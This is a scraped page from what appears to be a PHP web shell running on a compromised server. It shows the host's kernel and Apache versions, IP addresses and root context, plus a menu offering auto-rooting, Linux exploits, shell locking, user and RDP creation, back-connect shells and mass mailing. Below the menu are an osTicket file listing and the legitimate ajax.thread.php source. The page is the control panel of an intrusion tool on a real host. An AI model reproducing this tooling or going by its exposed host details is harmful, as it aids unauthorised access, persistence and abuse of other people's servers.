Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ajax.thread.php
<?php /********************************************************************* ajax.thread.php AJAX interface for thread Peter Rotich <peter@osticket.com> Copyright (c) 2015 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ if(!defined('INCLUDE_DIR')) die('403'); include_once(INCLUDE_DIR.'class.ticket.php'); require_once(INCLUDE_DIR.'class.ajax.php'); require_once(INCLUDE_DIR.'class.note.php'); include_once INCLUDE_DIR . 'class.thread_actions.php'; class ThreadAjaxAPI extends AjaxController { function lookup() { global $thisstaff; if(!is_numeric($_REQUEST['q'])) return self::lookupByEmail(); $limit = isset($_REQUEST['limit']) ? (int) $_REQUEST['limit']:25; $tickets=array(); $visibility = $thisstaff->getTicketsVisibility(); $hits = Ticket::objects() ->filter(Q::any(array( 'number__startswith' => $_REQUEST['q'], ))) ->filter($visibility) ->values('number', 'user__emails__address') ->annotate(array('tickets' => SqlAggregate::COUNT('ticket_id'))) ->order_by('-created') ->limit($limit); foreach ($hits as $T) { $tickets[] = array('id'=>$T['number'], 'value'=>$T['number'], 'info'=>"{$T['number']} — {$T['user__emails__address']}", 'matches'=>$_REQUEST['q']); } if (!$tickets) return self::lookupByEmail(); return $this->json_encode($tickets); } function addRemoteCollaborator($tid, $bk, $id) { global $thisstaff; if (!($thread=Thread::lookup($tid)) || !($object=$thread->getObject()) || !$object->checkStaffPerm($thisstaff)) Http::response(404, 'No such thread'); elseif (!$bk || !$id) Http::response(422, 'Backend and user id required'); elseif (!($backend = StaffAuthenticationBackend::getBackend($bk))) Http::response(404, 'User not found'); $user_info = $backend->lookup($id); $form = UserForm::getUserForm()->getForm($user_info); $info = array(); if (!$user_info) $info['error'] = __('Unable to find user in directory'); return self::_addcollaborator($thread, null, $form, 'addcc', $info); } //Collaborators utils function addCollaborator($tid, $type=null, $uid=0) { global $thisstaff; if (!($thread=Thread::lookup($tid)) || !($object=$thread->getObject()) || !$object->checkStaffPerm($thisstaff)) Http::response(404, __('No such thread')); $user = $uid? User::lookup($uid) : null; //If not a post then assume new collaborator form if(!$_POST) return self::_addcollaborator($thread, $user, null, $type); $user = $form = null; if (isset($_POST['id']) && $_POST['id']) { //Existing user/ $user = User::lookup($_POST['id']); } else { //We're creating a new user! $form = UserForm::getUserForm()->getForm($_POST); $user = User::fromForm($form); } $errors = $info = array(); if ($user) { // FIXME: Refuse to add ticket owner?? if (($c=$thread->addCollaborator($user, array(), $errors))) { $info = array('msg' => sprintf(__('%s added as a collaborator'), Format::htmlchars($c->getName()))); $c->setCc(); $c->save(); return self::_collaborators($thread, $info); } } if($errors && $errors['err']) { $info +=array('error' => $errors['err']); } else { $info +=array('error' =>__('Unable to add collaborator.').' '.__('Internal error occurred')); } return self::_addcollaborator($thread, $user, $form, $type, $info); } function updateCollaborator($tid, $cid) { global $thisstaff; if (!($thread=Thread::lookup($tid)) || !($object=$thread->getObject()) || !$object->checkStaffPerm($thisstaff)) Http::response(405, 'No such thread'); if (!($c=Collaborator::lookup(array( 'id' => $cid, 'thread_id' => $thread->getId()))) || !($user=$c->getUser())) Http::response(406, 'Unknown collaborator'); $errors = array(); if(!$user->updateInfo($_POST, $errors)) return self::_collaborator($c ,$user->getForms($_POST), $errors); $info = array('msg' => sprintf('%s updated successfully', Format::htmlchars($c->getName()))); return self::_collaborators($thread, $info); } function viewCollaborator($tid, $cid) { global $thisstaff; if (!($thread=Thread::lookup($tid)) || !($object=$thread->getObject()) || !$object->checkStaffPerm($thisstaff)) Http::response(404, 'No such thread'); if (!($collaborator=Collaborator::lookup(array( 'id' => $cid, 'thread_id' => $thread->getId())))) Http::response(404, 'Unknown collaborator'); return self::_collaborator($collaborator); } function showCollaborators($tid) { global $thisstaff; if(!($thread=Thread::lookup($tid)) || !($object=$thread->getObject()) || !$object->checkStaffPerm($thisstaff)) Http::response(404, 'No such thread'); if ($thread->getCollaborators()) return self::_collaborators($thread); return self::_addcollaborator($thread); } function previewCollaborators($tid, $manage=true) { global $thisstaff; if (!($thread=Thread::lookup($tid)) || !($object=$thread->getObject()) || !$object->checkStaffPerm($thisstaff)) Http::response(404, 'No such thread'); ob_start(); include STAFFINC_DIR . 'templates/collaborators-preview.tmpl.php'; $resp = ob_get_contents(); ob_end_clean(); return $resp; } function _addcollaborator($thread, $user=null, $form=null, $type=null, $info=array()) { global $thisstaff; $info += array( 'title' => __('Add a collaborator'), 'action' => sprintf('#thread/%d/add-collaborator/%s', $thread->getId(), $type), 'onselect' => sprintf('ajax.php/thread/%d/add-collaborator/%s/', $thread->getId(), $type), ); ob_start(); include STAFFINC_DIR . 'templates/user-lookup.tmpl.php'; $resp = ob_get_contents(); ob_end_clean(); return $resp; } function updateCollaborators($tid) { global $thisstaff; if (!($thread=Thread::lookup($tid)) || !($object=$thread->getObject()) || !$object->checkStaffPerm($thisstaff)) Http::response(404, 'No such thread'); $errors = $info = array(); $thread->updateCollaborators($_POST, $errors); if($errors && $errors['err']) $info +=array('error' => $errors['err']); return self::_collaborators($thread, $info); } function _collaborator($collaborator, $form=null, $info=array()) { global $thisstaff; $info += array('action' => sprintf('#thread/%d/collaborators/%d', $collaborator->thread_id, $collaborator->getId())); $user = $collaborator->getUser(); ob_start(); include(STAFFINC_DIR . 'templates/user.tmpl.php'); $resp = ob_get_contents(); ob_end_clean(); return $resp; } function _collaborators($thread, $info=array()) { ob_start(); include(STAFFINC_DIR . 'templates/collaborators.tmpl.php'); $resp = ob_get_contents(); ob_end_clean(); return $resp; } function triggerThreadAction($ticket_id, $thread_id, $action) { $thread = ThreadEntry::lookup($thread_id); if (!$thread) Http::response(404, 'No such ticket thread entry'); if ($thread->getThread()->getObjectId() != $ticket_id) Http::response(404, 'No such ticket thread entry'); $valid = false; foreach ($thread->getActions() as $group=>$list) { foreach ($list as $name=>$A) { if ($A->getId() == $action) { $valid = true; break; } } } if (!$valid) Http::response(400, 'Not a valid action for this thread'); $thread->triggerAction($action); } } ?>
Close